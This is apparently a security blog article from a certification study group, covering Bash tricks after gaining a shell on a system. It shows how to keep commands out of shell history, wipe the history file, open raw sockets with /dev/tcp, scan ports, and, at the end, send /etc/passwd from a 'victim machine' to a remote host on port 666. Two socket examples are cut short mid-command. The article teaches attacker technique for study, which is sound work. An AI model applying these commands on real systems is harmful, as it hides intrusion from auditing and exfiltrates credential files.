Fun with Shells
Fun with Shells
This is part of a series of articles meant to guide newcomers and professionals alike on important security topics, and sometimes questions from certifications like CEH will be used as the initial instigator to the article. Topics vary from the very basic to the really advanced stuff.
We are in no way associated with EC Council or any other group or company, and the only purpose of this series is to sum up our study group learnings.
A shell is basically the command line interface you are likely to use on a daily basis on a Unix-based operating system. It’s nothing more than an user interface where you can type commands using a well-known syntax.
We approach more advanced subjects that assume you know your way around. If that is not the case or if you want to learn about shell in-depth, I highly recommend Aurelio Jargas’ book on the matter.
Covering Tracks
So you popped a shell. Nice! First thing you should do is ensure your steps aren’t being monitored.
Keep in mind this section is only about Shell, and doesn’t cover things like auditd and other auditing systems. Don’t risk your life only on that! Still, it’s a useful knowledge for quick stuff.
All I need is a little space
Suppose you don’t want to disable logging for an entire session. You only want that nasty little command of yours to go unnoticed, but it’s ok to leave other commands (or even preferable, in case you want to hide in plain sight).
For this to work you need to understand the functioning of a internal variable called HISTCONTROL
.
According to the Bash manpage:
HISTCONTROL
A colon-separated list of values controlling how commands are saved on the history list. If the list of values includes ignorespace, lines which begin with a space character are not saved in the history list. A value of ignoredups causes lines matching the previous history entry to not be saved. A value of ignoreboth is shorthand for ignorespace and ignoredups. A value of erasedups causes all previous lines matching the current line to be removed from the history list before that line is saved.
Any value not in the above list is ignored. If HISTCONTROL is unset, or does not include a valid value, all lines read by the shell parser are saved on the history list, subject to the value of HISTIGNORE. The second and subsequent lines of a multi-line compound command are not tested, and are added to the history regardless of the value of HISTCONTROL.
TL;DR: if HISTCONTROL
is set to ignoreboth
(the default) or ignorespace
, any command starting with a whitespace will not be registered. So instead of “passwd root”, you can use “ passwd root” (notice the space prefix) and the command will not be logged.
Now this isn’t very reliable, so keep going.
$ 100 bucks say you will forget that mysql command, uh?
You can instruct Bash to ignore commands that contain certain strings. This is more useful if you usually type things like passwords on your command line (STOP DOING THAT) and you don’t want those logged. Now, don’t put your password in there, silly. Use the command that usually accompanies it, like mysql
or something.
According to the Bash manpage:
HISTIGNORE
A colon-separated list of patterns used to decide which command lines should be saved on the history list. Each pattern is anchored at the beginning of the line and must match the complete line (no implicit \`\*' is appended). Each pattern is tested against the line after the checks specified by HISTCONTROL are applied. In addition to the normal shell pattern matching characters, \`&' matches the previous history line.\`&' may be escaped using a backslash; the backslash is removed before attempting a match. The second and subsequent lines of a multi-line compound command are not tested, and are added to the history regardless of the value of HISTIGNORE.
So, to ignore all commands starting with mysql
, you can use:
export HISTIGNORE="mysql\*"
Send the history into oblivion
In Bash, the history is logged at the end of session. This means that you can do cool stuff like saying to Bash to log that session into the void.
According to the Bash manpage:
HISTFILE
The name of the file in which command history is saved (see HISTORY below). The default value is ~/.bash\_history. If unset, the command history is not saved when a shell exits.
So, by using one of the lines below, you can get rid of that pesky history. Just remember to do it before you logout (preferably immediately after you logged in).
export HISTFILE=/dev/null
unset HISTFILE # alternative
You can also use HISTSIZE for that.
According to the Bash manpage:
HISTSIZE
The number of commands to remember in the command history (see HISTORY below). If the value is 0, commands are not saved in the history list. Numeric values less than zero result in every command being saved on the history list (there is no limit).
The shell sets the default value to 500 after reading any startup files.
Meaning that would also work:
export HISTSIZE=0
Afraid that your nasty secrets were already logged? Make a dramatic exit. Just remember dramatic exits make noise, meaning it’ll be clear someone erased the history. And of course, this won’t erase logs sent to a logging service.
rm -f $HISTFILE && unset HISTFILE && exit
There will be additional content on erasing tracks on the future, not just on Bash. For now, checkout the Additional Reading section at the end of the article.
Socket Fun
Suppose you are on an extremely restricted environment and want to open a connection to the outside. The firewall isn’t restricting outgoing connections, but you don’t have access to anything like netcat, curl or wget.
You may be lucky if you find yourself in this scenario but the shell you are using is bash compiled with --enable-net-redirections
, which is the default in many recent distributions.
Basically, this is the syntax:
exec {file descriptor}<>/dev/{protocol}/{host}/{port}
A file descriptor is an abstract indicator used to access an I/O resource, such as a pipe or a network socket.
It must also be a non-negative number (because 0 is allowed), and in our particular case, must be equal to or greater than 3, because we already have 0 (stdin), 1 (stdout) and 2 (stderr) reserved.
Let’s look into some examples.
GET a remote page
exec 3<>/dev/tcp/example.com/80
echo -e "GET / HTTP/1.1\\r\\nHost: example.com\\r\\nConnection: close\\r\\n\\r\\n" >&3
cat <&3
The first line opens a bidirectional (because of the <>) TCP socket to example.com at port 80/TCP.
The second line issues a GET command from the HTTP protocol, effectively fetching the page. The command is then sent to the file descriptor 3 that we opened on the first line.
The third line reads back from the socket, printing the contents of http://example.com.
Display a SSH server version
Using this socket, you can get the version of a SSH server running somewhere else. This happens because, upon completing a TCP handshake, the SSH server sends to the client a banner containing it’s version.
exec 3
The first line was already explained. The second line is the same as the cat
command on the previous example, except this time it contains a timeout of 1 second. This is because the connection on this case is never closed, so the cat would never return as it would think there was still data to receive. Keep in mind though that this timeout only applies if the connection is successful, it will not timeout if the connection never finishes, instead the default timeout of 60 seconds will be used.
On the GET example this doesn’t happen because of the Connection
HTTP header which was set to close
, instructing the remote server to just sent the requested page and hang up the connection.
In case you want a one-liner:
timeout 1 cat
In this case, no file descriptor is created because we are immediately using the socket.
Testing whether a connection is successful
Using the return code, you can determine if a connection was successful (i.e. the port is open)
#!/bin/bash
(echo >/dev/tcp/example.com/80) &>/dev/null
if [ $? -eq 0 ]; then
echo "Connection successful"
else
echo "Connection failed"
fi
You can do this on one line also.
echo >/dev/tcp/example.com/80 && echo "Connection successful" || echo "Connection failed"
Port Scanning
In case you don’t have something like nmap nor do you have a proper compiler or interpreter to write your own port scanning code, this can get you off the hook.
#!/bin/bash
for ((port=1; port<=65535; port++)); do
(echo >/dev/tcp/$host/$port) &>/dev/null && echo "$port open" || echo "$port closed"
done
This will take sometime (specially because closed ports will take a long time to time out), but will work. Try restricting it to ports that really matter to you.
More Fun
Remember how you can set netcat to listen on a specific port? ;)
# On your machine
nc -l -p 666 # On the victim machine
cat /etc/passwd >/dev/tcp/cnc.hyades.io/666
Additional Reading
https://jvns.ca/blog/2017/03/26/bash-quirks/
http://tldp.org/LDP/abs/html/sha-bang.html